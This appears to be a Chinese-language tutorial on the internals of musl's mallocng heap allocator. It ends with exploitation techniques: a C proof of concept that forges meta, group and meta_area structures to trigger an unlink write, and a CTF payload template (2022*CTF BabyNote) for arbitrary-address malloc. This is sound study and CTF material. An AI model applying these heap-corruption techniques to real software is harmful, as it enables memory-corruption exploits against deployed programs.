1 2 3 4 5 6 7 8 9 10 11 12 13 if (!ctx.avail_meta_area_count) { size_t n = 2UL << ctx.meta_alloc_shift; p = mmap(0 , n * pagesize, PROT_NONE, MAP_PRIVATE | MAP_ANON, -1 , 0 ); if (p == MAP_FAILED) return 0 ; ctx.avail_meta_areas = p + pagesize; ctx.avail_meta_area_count = (n - 1 ) * (pagesize >> 12 ); ctx.meta_alloc_shift++; } p = ctx.avail_meta_areas; if ((uintptr_t ) p & (pagesize - 1 )) need_unprotect = 0 ;if (need_unprotect) if (mprotect(p, pagesize, PROT_READ | PROT_WRITE) && errno != ENOSYS) return 0 ;
最后就是从空闲的 meta_area
中获取一个 meta_areas
然后再从该 meta_areas
中获取空闲的 meta 。
1 2 3 4 5 6 7 8 9 10 11 ctx.avail_meta_area_count--; ctx.avail_meta_areas = p + 4096 ; if (ctx.meta_area_tail) { ctx.meta_area_tail->next = (void *) p; } else { ctx.meta_area_head = (void *) p; } ctx.meta_area_tail = (void *) p; ctx.meta_area_tail->check = ctx.secret; ctx.avail_meta_count = ctx.meta_area_tail->nslots = (4096 - sizeof (struct meta_area)) / sizeof *m; ctx.avail_meta = ctx.meta_area_tail->slots;
现在已经可以确定 meta_area 和 meta 的在内存中的关系如下图所示(以 mmap 扩展 meta_area 为例)。
group 1 2 3 4 5 6 struct group { struct meta *meta ; unsigned char active_idx : 5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; };
group中即保存有需要分配出去的chunk。
struct meta *meta
:所属的meta的地址unsigned char active_idx:5
:5个比特,表示还有多少可用chunkchar pad[UNIT - sizeof(struct meta *) - 1]
:手动16字节对齐unsigned char storage[]
:要分配出去的内存空间,chunk
alloc_group 首先获取一个 meta ,然后根据经验以及当前内存状态计算出需要申请的 group
中 chunk 的数量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 size_t size = UNIT * size_classes[sc];int i = 0 , cnt;unsigned char *p;struct meta *m = alloc_meta();if (!m) return 0 ;size_t usage = ctx.usage_by_class[sc];size_t pagesize = PGSZ;int active_idx;if (sc < 9 ) { while (i < 2 && 4 * small_cnt_tab[sc][i] > usage) i++; cnt = small_cnt_tab[sc][i]; } else { cnt = med_cnt_tab[sc & 3 ]; while (!(cnt & 1 ) && 4 * cnt > usage) cnt >>= 1 ; while (size * cnt >= 65536 * UNIT) cnt >>= 1 ; } if (cnt == 1 && size * cnt + UNIT <= pagesize / 2 ) cnt = 2 ;
之后分两种情况。
如果所需内存大于页大小的一半则采用 mmap 的方式获取内存,期间也会对 group 中 chunk 的数量进行调整。注意 active_idx
的初值为 max ( 0 , min ( ⌊ 0x2000 − 16 size ⌋ − 1 , cnt − 1 ) ) \max(0,\min(\left \lfloor \frac{\text{0x2000}-16}{\text{size}} \right \rfloor-1 ,\text{cnt}-1)) max ( 0 , min ( ⌊ size 0x2000 − 16 ⌋ − 1 , cnt − 1 )) 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 if (size * cnt + UNIT > pagesize / 2 ) { int nosmall = is_bouncing(sc); account_bounce(sc); step_seq(); if (!(sc & 1 ) && sc < 32 ) usage += ctx.usage_by_class[sc + 1 ]; if (4 * cnt > usage && !nosmall) { if (0 ) ; else if ((sc & 3 ) == 1 && size * cnt > 8 * pagesize) cnt = 2 ; else if ((sc & 3 ) == 2 && size * cnt > 4 * pagesize) cnt = 3 ; else if ((sc & 3 ) == 0 && size * cnt > 8 * pagesize) cnt = 3 ; else if ((sc & 3 ) == 0 && size * cnt > 2 * pagesize) cnt = 5 ; } size_t needed = size * cnt + UNIT; needed += -needed & (pagesize - 1 ); if (!nosmall && cnt <= 7 ) { req += IB + UNIT; req += -req & (pagesize - 1 ); if (req < size + UNIT || (req >= 4 * pagesize && 2 * cnt > usage)) { cnt = 1 ; needed = req; } } p = mmap(0 , needed, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1 , 0 ); if (p == MAP_FAILED) { free_meta(m); return 0 ; } m->maplen = needed >> 12 ; ctx.mmap_counter++; active_idx = (4096 - UNIT) / size - 1 ; if (active_idx > cnt - 1 ) active_idx = cnt - 1 ; if (active_idx < 0 ) active_idx = 0 ; }
如果所需内存不超过页大小的一半则在再申请一个所需大小的 chunk,然后在其中构造 group
。与正常申请不同的是这里直接调用 alloc_slot
获取 chunk 的下标,不过和正常申请实际是一样的。在申请的 chunk 的头部要打上标记(p[-3] = (p[-3] & 31) | (6 << 5)
)。最后再将 group
中的每个 chunk 的 p[-4]
处置零。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 else { int j = size_to_class(UNIT + cnt * size - IB); int idx = alloc_slot(j, UNIT + cnt * size - IB); if (idx < 0 ) { free_meta(m); return 0 ; } struct meta *g = ctx.active[j]; p = enframe(g, idx, UNIT * size_classes[j] - IB, ctx.mmap_counter); m->maplen = 0 ; p[-3 ] = (p[-3 ] & 31 ) | (6 << 5 ); for (int i = 0 ; i <= cnt; i++) p[UNIT + i * size - 4 ] = 0 ; active_idx = cnt - 1 ; }
最后更新 meta
和 group
的相关字段,从这里可以看到,有的 chunk 对应的 freed_mask
被置 1 ,这些 chunk 暂时参与不到内存分配中。最后将管理申请到的 group
的 meta
返回。
1 2 3 4 5 6 7 8 9 10 ctx.usage_by_class[sc] += cnt; m->avail_mask = (2u << active_idx) - 1 ; m->freed_mask = (2u << (cnt - 1 )) - 1 - m->avail_mask; m->mem = (void *) p; m->mem->meta = m; m->mem->active_idx = active_idx; m->last_idx = cnt - 1 ; m->freeable = 1 ; m->sizeclass = sc; return m;
chunk musl heap 中的 chunk 没有具体定义,但是根据程序可以分析出 chunk 的结构:
1 2 3 4 5 6 7 8 struct chunk { uint32_t offset_32; uint8_t use_32_offset; uint8_t inedx:5 ; uint8_t flag:3 ; uint16_t offset_16; char user_data[] }
由于一般 offset_32
不使用,因此 chunk
结构如下图所示。
offset_32
和 offset_16
都表示 chunk
的 user_data
与所在 group
的 storage
之间的偏移除以 16 ,只不过一个用 32 比特存储一个用 16 比特存储。当申请的 chunk
为该 chunk
内部的一块空间则外部的 chunk
的 offset
为与内部 chunk
的偏移除以 16 。当 chunk
被 free 掉时 offset
被置 0 。
use_32_offset
表示是否用 offset_32
存储偏移。
flag
是 chunk
的标志位。当申请的 chunk
为该 chunk
内部的一块空间则外部的 chunk
的 flag
为 7 , 当申请的 chunk
作为 group
时该 chunk
的 flag
为 6 。正常申请出的 chunk ,该值为 reserved
,其中 reserved
为 user_data
到 chunk
结束位置的距离减去用户申请的内存大小与 5 取 min 的结果。如果 chunk
被 free 掉则 flag
和 index
一并置为 0xFF 。
index
表示该 chunk
在 group
中的下标。当申请的 chunk
为该 chunk
内部的一块空间则外部的 chunk
的 index
为 0 ,内部 chunk
的 index
为外部 chunk
在 group
中的下标。
get_slot_index 获取 chunk
的 index
。
1 2 3 static inline int get_slot_index (const unsigned char *p) { return p[-3 ] & 31 ; }
get_nominal_size 获取 chunk
中 user_data
的大小 ,具体原理见下面对 enframe
和 set_size
函数的分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline size_t get_nominal_size (const unsigned char *p, const unsigned char *end) { size_t reserved = p[-3 ] >> 5 ; if (reserved >= 5 ) { assert(reserved == 5 ); reserved = *(const uint32_t *) (end - 4 ); assert(reserved >= 5 ); assert(!end[-5 ]); } assert(reserved <= end - p); assert(!*(end - reserved)); assert(!*end); return end - reserved - p; }
首先获取 chunk
的 offset
和 index
,然后根据 offset
得到 chunk
对应 group
的地址,之后根据 group
获得 meta
。
1 2 3 4 5 6 7 8 9 10 assert(!((uintptr_t ) p & 15 )); int offset = *(const uint16_t *) (p - 2 );int index = get_slot_index(p);if (p[-4 ]) { assert(!offset); offset = *(uint32_t *) (p - 8 ); assert(offset > 0xffff ); } const struct group *base = (const void *) (p - UNIT * offset - UNIT);const struct meta *meta = base->meta;
之后对 meta
和 chunk
进行相关检查,防止伪造 chunk 。通过检查后返回得到的 meta
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 assert(meta->mem == base); assert(index <= meta->last_idx); assert(!(meta->avail_mask & (1u << index))); assert(!(meta->freed_mask & (1u << index))); const struct meta_area *area = (void *) ((uintptr_t ) meta & -4096 );assert(area->check == ctx.secret); if (meta->sizeclass < 48 ) { assert(offset >= size_classes[meta->sizeclass] * index); assert(offset < size_classes[meta->sizeclass] * (index + 1 )); } else { assert(meta->sizeclass == 63 ); } if (meta->maplen) { assert(offset <= meta->maplen * 4096UL / UNIT - 1 ); } return (struct meta *) meta;
函数分析 malloc 首先检查申请的内存是否溢出。
1 if (size_overflows(n)) return 0 ;
如果申请的内存大于 131052 字节则采用直接 mmap 的方式申请。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (n >= MMAP_THRESHOLD) { size_t needed = n + IB + UNIT; void *p = mmap(0 , needed, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1 , 0 ); if (p == MAP_FAILED) return 0 ; wrlock(); step_seq(); g = alloc_meta(); if (!g) { unlock(); munmap(p, needed); return 0 ; } g->mem = p; g->mem->meta = g; g->last_idx = 0 ; g->freeable = 1 ; g->sizeclass = 63 ; g->maplen = (needed + 4095 ) / 4096 ; g->avail_mask = g->freed_mask = 0 ; ctx.mmap_counter++; idx = 0 ; goto success; }
否则先计算出申请的内存大小所在的组并取出对应组的 deque 中 ctx.active[sc]
指向的那个 meta
。
1 2 3 4 sc = size_to_class(n); rdlock(); g = ctx.active[sc];
其中 size_to_class
定义如下:
1 2 3 4 5 6 7 8 9 static inline int size_to_class (size_t n) { n = (n + IB - 1 ) >> 4 ; if (n < 10 ) return n; n++; int i = (28 - a_clz_32(n)) * 4 + 8 ; if (n > size_classes[i + 1 ]) i += 2 ; if (n > size_classes[i]) i++; return i; }
该代码等价于下面的 C++ 代码,只不过根据数据特性进行了复杂度的优化。
1 std::lower_bound (size_classes, size_classes + 48 , (n + IB - 1 ) >> 4 ) - size_classes;
对应组的 deque 为空则根据经验进行一些调整。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (!g && sc >= 4 && sc < 32 && sc != 6 && !(sc & 1 ) && !ctx.usage_by_class[sc]) { size_t usage = ctx.usage_by_class[sc | 1 ]; if (!ctx.active[sc | 1 ] || (!ctx.active[sc | 1 ]->avail_mask && !ctx.active[sc | 1 ]->freed_mask)) usage += 3 ; if (usage <= 12 ) sc |= 1 ; g = ctx.active[sc]; }
之后从尝试在该 meta
中获取一个空闲 chunk 的下标,如果成功则更新 avail_mask
后直接跳转到 success
否则跳出循环。
1 2 3 4 5 6 7 8 9 10 11 12 for (;;) { mask = g ? g->avail_mask : 0 ; first = mask & -mask; if (!first) break ; if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask - first; else if (a_cas(&g->avail_mask, mask, mask - first) != mask) continue ; idx = a_ctz_32(first); goto success; } upgradelock();
如果 meta
没有空闲 chunk 则调用 alloc_slot
获取一个有空闲 chunk 的 meta
然后让 ctx.active
对应的 deque 头指向这个 meta
。
1 2 3 4 5 6 idx = alloc_slot(sc, n); if (idx < 0 ) { unlock(); return 0 ; } g = ctx.active[sc];
最后如果成功获取空闲 chunk 的下标则调用 enframe
函数将该 chunk 取出。
1 2 3 4 success: ctr = ctx.mmap_counter; unlock(); return enframe(g, idx, n, ctr);
alloc_slot 1 2 3 4 5 6 7 8 9 10 11 static int alloc_slot (int sc, size_t req) { uint32_t first = try_avail(&ctx.active[sc]); if (first) return a_ctz_32(first); struct meta *g = alloc_group(sc, req); if (!g) return -1 ; g->avail_mask--; queue (&ctx.active[sc], g); return 0 ; }
首先调用 try_avail
获取一个有空闲 chunk 的 meta
然后让让 ctx.active
对应的 deque 头指向这个 meta
,否则调用 alloc_group
申请一个新的 group
并且将这个 group
对应的 meta
加入到 deque 中(此时 deque 中就这一个 meta
因此 ctx.active
对应的 deque 头指向这个 meta
)。
try_avail 首先如果 deque 为空则直接返回 0 。
1 2 3 struct meta *m = *pm;uint32_t first;if (!m) return 0 ;
如果没有可用的 chunk 则尝试获取一个有可用 chunk 的 meta
并将它连到 deque 头,最后从其中获取一个下标最小的可用 chunk 更新 avail_mask
并返回下标。
1 2 3 4 5 uint32_t mask = m->avail_mask;if (!mask) {...}first = mask & -mask; m->avail_mask = mask - first; return first;
如果当前的 meta
既没有空闲的 chunk 也没有释放的 chunk 则直接将该 meta
从 deque 中取出。为了充分利用空闲的 chunk ,无论当前 meta
有没有释放的 chunk 都会将 deque 的头指向下一个 meta
。另外如果 deque 为空会返回 0 。如果是正常情况如果有下一个 meta
则下一个 meta
一定会有可用或释放的 chunk 。
1 2 3 4 5 6 7 8 if (!m->freed_mask) { dequeue(pm, m); m = *pm; if (!m) return 0 ; } else { m = m->next; *pm = m; }
如果下一个 meta
全部都是释放的 chunk 那么本着充分利用空闲 chunk 的原则会将 deque 的头指向下一个 meta
。
1 2 3 4 5 6 7 8 9 mask = m->freed_mask; if (mask == (2u << m->last_idx) - 1 && m->freeable) { m = m->next; *pm = m; mask = m->freed_mask; }
如果当前 chunk 的 active_idx
范围内没有释放的 chunk 则尽可能选择下一个 chunk 否则根据经验扩大 active_idx
的范围,最后调用 activate_group
函数将 active_idx
范围内释放的 chunk 转换为空闲的 chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (!(mask & ((2u << m->mem->active_idx) - 1 ))) { if (m->next != m) { m = m->next; *pm = m; } else { int cnt = m->mem->active_idx + 2 ; int size = size_classes[m->sizeclass] * UNIT; int span = UNIT + size * cnt; while ((span ^ (span + size - 1 )) < 4096 ) { cnt++; span += size; } if (cnt > m->last_idx + 1 ) cnt = m->last_idx + 1 ; m->mem->active_idx = cnt - 1 ; } } mask = activate_group(m); assert(mask); decay_bounces(m->sizeclass); }
enframe 首先计算出 chunk 的起始和结束地址。
1 2 3 4 size_t stride = get_stride(g);size_t slack = (stride - IB - n) / UNIT;unsigned char *p = g->mem->storage + stride * idx;unsigned char *end = p + stride - IB;
其中 get_stride
函数是计算出 meta
中 chunk 的大小。
1 2 3 4 5 6 7 static inline size_t get_stride (const struct meta *g) { if (!g->last_idx && g->maplen) { return g->maplen * 4096UL - UNIT; } else { return UNIT * size_classes[g->sizeclass]; } }
为了增大利用难度,用户使用的内存区域会在原有 chunk 的位置后加一个随机的偏移 off
,这个随机值是通过 ctr
(ctx.mmap_counter
), chunk 的 offset 以及剩余区域大小计算出来的。之后在原有 chunk 的 idx 字段打上 7 << 5
标记,并且将 p
指针后移 UNIT * off
字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int off = (p[-3 ] ? *(uint16_t *) (p - 2 ) + 1 : ctr) & 255 ;assert(!p[-4 ]); if (off > slack) { size_t m = slack; m |= m >> 1 ; m |= m >> 2 ; m |= m >> 4 ; off &= m; if (off > slack) off -= slack + 1 ; assert(off <= slack); } if (off) { *(uint16_t *) (p - 2 ) = off; p[-3 ] = 7 << 5 ; p += UNIT * off; p[-4 ] = 0 ; }
最后如下图所示设置相关字段信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static inline void set_size (unsigned char *p, unsigned char *end, size_t n) { int reserved = end - p - n; if (reserved) end[-reserved] = 0 ; if (reserved >= 5 ) { *(uint32_t *) (end - 4 ) = reserved; end[-5 ] = 0 ; reserved = 5 ; } p[-3 ] = (p[-3 ] & 31 ) + (reserved << 5 ); } *(uint16_t *) (p - 2 ) = (size_t ) (p - g->mem->storage) / UNIT; p[-3 ] = idx; set_size(p, end, n); return p;
free p
为空直接返回,否则获取 chunk
对应的 meta
,index
和 group
中 chunk
的大小,根据这些信息计算出 chunk
的起始和结束位置。
1 2 3 4 5 6 7 8 9 if (!p) return ;struct meta *g = get_meta(p);int idx = get_slot_index(p);size_t stride = get_stride(g);unsigned char *start = g->mem->storage + stride * idx;unsigned char *end = start + stride - IB;get_nominal_size(p, end); uint32_t self = 1u << idx, all = (2u << g->last_idx) - 1 ;
将 chunk
的 index
和 flag
一并置为 0xFF ,offset
置为 0 。
1 2 3 4 5 ((unsigned char *) p)[-3 ] = 255 ; *(uint16_t *) ((char *) p - 2 ) = 0 ;
如果释放的 chunk
的起始和结束地址差至少 2 个内存页则释放的 chunk
必然包含一个内存页,因此将 chunk
包含的所有完整物理页调用 madvise
设置 lazyfree
标志,这样在内存紧缺的时候会回收这些物理页。
1 2 3 4 5 6 7 8 9 10 11 if (((uintptr_t ) (start - 1 ) ^ (uintptr_t ) end) >= 2 * PGSZ && g->last_idx) { unsigned char *base = start + (-(uintptr_t ) start & (PGSZ - 1 )); size_t len = (end - base) & -PGSZ; if (len) { int e = errno; madvise(base, len, MADV_FREE); errno = e; } }
如果加上将要释放的 chunk
该 group
中的所有 chunk
要么被释放要么空闲则跳出循环,否则更新 freed_mask
并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask & self)); if (!freed || mask + self == all) break ; if (!MT) g->freed_mask = freed + self; else if (a_cas(&g->freed_mask, freed, freed + self) != freed) continue ; return ; }
如果跳出循环则会调用 nontrivial_free
释放 group
并返回需要 munmap
的内存的起始地址和大小,之后调用 munmap
释放这块内存。
1 2 3 4 5 6 7 8 wrlock(); struct mapinfo mi = nontrivial_free(g, idx);unlock(); if (mi.len) { int e = errno; munmap(mi.base, mi.len); errno = e; }
nontrivial_free 如果加上将要释放的 chunk
该 group
中的所有 chunk
要么被释放要么空闲并且 group
是可以释放的则首先判断 meta
是否在 active 这个 deque 中,如果在的话会将该 meta
从 deque 中取出。如果取出这个操作改变了 active
指针则将 active
当前指向的 meta
对应的 group
中的 chunk
调用 activate_group
函数激活。之后调用 free_group
将 chunk
所在的 group
释放并返回需要 munmap
的内存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 uint32_t self = 1u << i;int sc = g->sizeclass;uint32_t mask = g->freed_mask | g->avail_mask;if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) { if (g->next) { assert(sc < 48 ); int activate_new = (ctx.active[sc] == g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); }
如果该 chunk
所在的 meta
既没有释放的 chunk
也没有空闲的 chunk
则将该 meta
加入到 active
中。最后更新 freed_mask
。
1 2 3 4 5 6 7 8 9 10 else if (!mask) { assert(sc < 48 ); if (ctx.active[sc] != g) { queue (&ctx.active[sc], g); } } a_or(&g->freed_mask, self); return (struct mapinfo){0 };
free_group 首先更新 usage_by_class
。如果 group
是 mmap 得到的则返回 group
对应内存,否则调用 nontrivial_free
释放 group
所在的 chunk
。之后将 meta
释放。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static struct mapinfo free_group (struct meta *g) { struct mapinfo mi = {0 }; int sc = g->sizeclass; if (sc < 48 ) { ctx.usage_by_class[sc] -= g->last_idx + 1 ; } if (g->maplen) { step_seq(); record_seq(sc); mi.base = g->mem; mi.len = g->maplen * 4096UL ; } else { void *p = g->mem; struct meta *m = get_meta(p); int idx = get_slot_index(p); g->mem->meta = 0 ; mi = nontrivial_free(m, idx); } free_meta(g); return mi; }
group
可以被释放的条件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static int okay_to_free (struct meta *g) { int sc = g->sizeclass; if (!g->freeable) return 0 ; if (sc >= 48 || get_stride(g) < UNIT * size_classes[sc]) return 1 ; if (!g->maplen) return 1 ; if (g->next != g) return 1 ; if (!is_bouncing(sc)) return 1 ; size_t cnt = g->last_idx + 1 ; size_t usage = ctx.usage_by_class[sc]; if (9 * cnt <= usage && cnt < 20 ) return 1 ; return 0 ; }
堆利用 unlink 伪造 chunk
,group
和 meta
然后释放伪造的 chunk
,通过合理构造伪造的 meta
中的 prev
和 next
利用 nontrivial_free
中调用的 dequeue
实现 unlink
操作。
根据前面的分析, free
首先会调用 get_meta
,而 get_meta
有如下检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static inline struct meta *get_meta (const unsigned char *p) { assert(!((uintptr_t ) p & 15 )); int offset = *(const uint16_t *) (p - 2 ); int index = get_slot_index(p); if (p[-4 ]) { assert(!offset); offset = *(uint32_t *) (p - 8 ); assert(offset > 0xffff ); } const struct group *base = (const void *) (p - UNIT * offset - UNIT); const struct meta *meta = base->meta; assert(meta->mem == base); assert(index <= meta->last_idx); assert(!(meta->avail_mask & (1u << index))); assert(!(meta->freed_mask & (1u << index))); const struct meta_area *area = (void *) ((uintptr_t ) meta & -4096 ); assert(area->check == ctx.secret); if (meta->sizeclass < 48 ) { assert(offset >= size_classes[meta->sizeclass] * index); assert(offset < size_classes[meta->sizeclass] * (index + 1 )); } else { assert(meta->sizeclass == 63 ); } if (meta->maplen) { assert(offset <= meta->maplen * 4096UL / UNIT - 1 ); } return (struct meta *) meta; }
assert(!((uintptr_t) p & 15));
,即 chunk
应该关于 0x10 对齐。
meta->mem == base
,即 meta
中保存的 group
指针要正确。
index <= meta->last_idx
,即 chunk
的索引不能越界。
assert(!(meta->avail_mask & (1u << index)));
,assert(!(meta->freed_mask & (1u << index)));
,检测 double free 。
area->check == ctx.secret
,即 meta
所在的 meta_area
的校验值正确。如果伪造的 meta
位于一个伪造的 meta_area
中,需要首先获取校验值 secret
并保存到 meta_area
开头,即这一页最开始的地方。
offset >= size_classes[meta->sizeclass]*index
,offset < size_classes[meta->sizeclass]*(index+1)
,这两个检查 offset
和 chunk
大小是否对应。
assert(offset <= meta->maplen*4096UL/UNIT - 1);
,即检查 offset
是否越界。
紧接着还会调用 get_nominal_size
,其中有对 chunk
的检查,总结来说 chunk 区域尽量都填 0 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline size_t get_nominal_size (const unsigned char *p, const unsigned char *end) { size_t reserved = p[-3 ] >> 5 ; if (reserved >= 5 ) { assert(reserved == 5 ); reserved = *(const uint32_t *) (end - 4 ); assert(reserved >= 5 ); assert(!end[-5 ]); } assert(reserved <= end - p); assert(!*(end - reserved)); assert(!*end); return end - reserved - p; }
之后在 free
中的循环满足条件跳出循环调用 nontrivial_free
函数。
1 2 3 4 5 6 7 8 9 10 11 for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask & self)); if (!freed || mask + self == all) break ; ... } wrlock(); struct mapinfo mi = nontrivial_free(g, idx);
进入 nontrivial_free
函数后会执行如下代码。okay_to_free
函数返回非 0 的前提是 meta->freeable
非 0 ,另外还要确保 meta->sizeclass
< 48 。之后调用 dequeue
函数触发 unlink 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 uint32_t self = 1u << i;int sc = g->sizeclass;uint32_t mask = g->freed_mask | g->avail_mask;if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) { if (g->next) { assert(sc < 48 ); int activate_new = (ctx.active[sc] == g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); }
之后进入 free_group
函数后为了减小伪造难度不再调用 nontrivial_free
要保证 maplen
不为零。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static struct mapinfo free_group (struct meta *g) { struct mapinfo mi = {0 }; int sc = g->sizeclass; if (sc < 48 ) { ctx.usage_by_class[sc] -= g->last_idx + 1 ; } if (g->maplen) { step_seq(); record_seq(sc); mi.base = g->mem; mi.len = g->maplen * 4096UL ; } else { void *p = g->mem; struct meta *m = get_meta(p); int idx = get_slot_index(p); g->mem->meta = 0 ; mi = nontrivial_free(m, idx); } free_meta(g); return mi; }
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #include <ctype.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <assert.h> #define UNIT 16 #define IB 4 #define FAKE_CHUNK_SIZE 0x80 #define FAKE_CHUNK_INDEX 1 #define LAST_INDEX 4 const uint16_t size_classes[] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 12 , 15 , 18 , 20 , 25 , 31 , 36 , 42 , 50 , 63 , 72 , 84 , 102 , 127 , 146 , 170 , 204 , 255 , 292 , 340 , 409 , 511 , 584 , 682 , 818 , 1023 , 1169 , 1364 , 1637 , 2047 , 2340 , 2730 , 3276 , 4095 , 4680 , 5460 , 6552 , 8191 , }; static inline int size_to_class (size_t n) { n = (n + IB - 1 ) >> 4 ; if (n < 10 ) return n; n++; int i = (28 - __builtin_ctz(n)) * 4 + 8 ; if (n > size_classes[i + 1 ]) i += 2 ; if (n > size_classes[i]) i++; return i; } struct malloc_context { uint64_t secret; int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t usage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; }; struct group { struct meta *meta ; unsigned char active_idx: 5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; }; struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx: 5 ; uintptr_t freeable: 1 ; uintptr_t sizeclass: 6 ; uintptr_t maplen: 8 * sizeof (uintptr_t ) - 12 ; }; struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; }; int main () { struct malloc_context *ctx = (struct malloc_context *) (&printf + 0x247193 ); struct meta target = {}; void *mmap_space = mmap(NULL , 0x2000 , PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1 , 0 ); struct meta_area *fake_meta_area = mmap_space; fake_meta_area->check = ctx->secret; struct meta *fake_meta = (struct meta *) ((uint64_t ) mmap_space + 0x100 ); fake_meta->maplen = 1 ; fake_meta->sizeclass = size_to_class(FAKE_CHUNK_SIZE - IB); fake_meta->last_idx = LAST_INDEX; fake_meta->freeable = 1 ; struct group *fake_group = (struct group *) ((uint64_t ) mmap_space + 0x1000 ); fake_meta->mem = fake_group; fake_group->meta = fake_meta; fake_meta->avail_mask = ((2U << LAST_INDEX) - 1 ) ^ (1 << FAKE_CHUNK_INDEX); fake_meta->freed_mask = 0 ; uint8_t *fake_chunk = (uint8_t *) ((uint64_t ) fake_group->storage + size_classes[fake_meta->sizeclass] * UNIT * FAKE_CHUNK_INDEX); *(uint16_t *) (fake_chunk - 2 ) = (fake_chunk - fake_group->storage) / UNIT; fake_chunk[-3 ] = FAKE_CHUNK_INDEX; fake_meta->prev = fake_meta->next = ⌖ free (fake_chunk); assert(target.prev == target.next && target.prev == &target); return 0 ; }
任意地址 malloc(calloc) 以 2022*CTF BabyNote 为例。 伪造 group
,meta
,meta_area
,然后释放 group
中的 chunk
使 meta
链入 active
链表中。之后反复释放和申请 meta
所在 chunk
并修改 meta
中的 mem
指向就可以达到任意地址 malloc
的效果。 注意 enframe
函数中有如下检查,因此需要申请的 fake chunk
的前面对应位置应该为 0 。
模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 fake_name_addr = libc.address + 0xb7990 fake_meta_area_addr = libc.address - 0x6000 fake_meta_addr = fake_meta_area_addr + 0x8 fake_group_addr = elf.address + 0x4b90 fake_chunk_addr = fake_group_addr + 0x10 fake_group = p64(fake_meta_addr).ljust(0x28 , '\x00' ) fake_meta = '' fake_meta += p64(0 ) fake_meta += p64(0 ) fake_meta += p64(fake_group_addr) fake_meta += p32(0 ) fake_meta += p32(0 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = ('\x00' * 0xfe0 + p64(leak_secret) + fake_meta).ljust(0x2000 , '\x00' ) fake_node = '' fake_node += p64(fake_name_addr) fake_node += p64(fake_chunk_addr) fake_node += p64(len ('fake name' )) fake_node += p64(0 ) fake_node += p64(0 )
对于 calloc 函数,定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void *calloc (size_t m, size_t n) { if (n && m > (size_t ) -1 / n) { errno = ENOMEM; return 0 ; } n *= m; void *p = malloc (n); if (!p || (!__malloc_replaced && __malloc_allzerop(p))) return p; n = mal0_clear(p, n); return memset (p, 0 , n); } #define is_allzero __malloc_allzerop int is_allzero (void *p) { struct meta *g = get_meta(p); return g->sizeclass >= 48 || get_stride(g) < UNIT * size_classes[g->sizeclass]; }
在调用完 malloc
之后如果 __malloc_replaced
为 0 则会调用 __malloc_allzerop
函数,该函数会调用 get_meta
,在 get_meta
函数中有大量检查,因此如果要用 calloc
实现任意地址 malloc
需要先将 __malloc_replaced
改为非 0 。
在 enframe
函数中会设置申请的 chunk
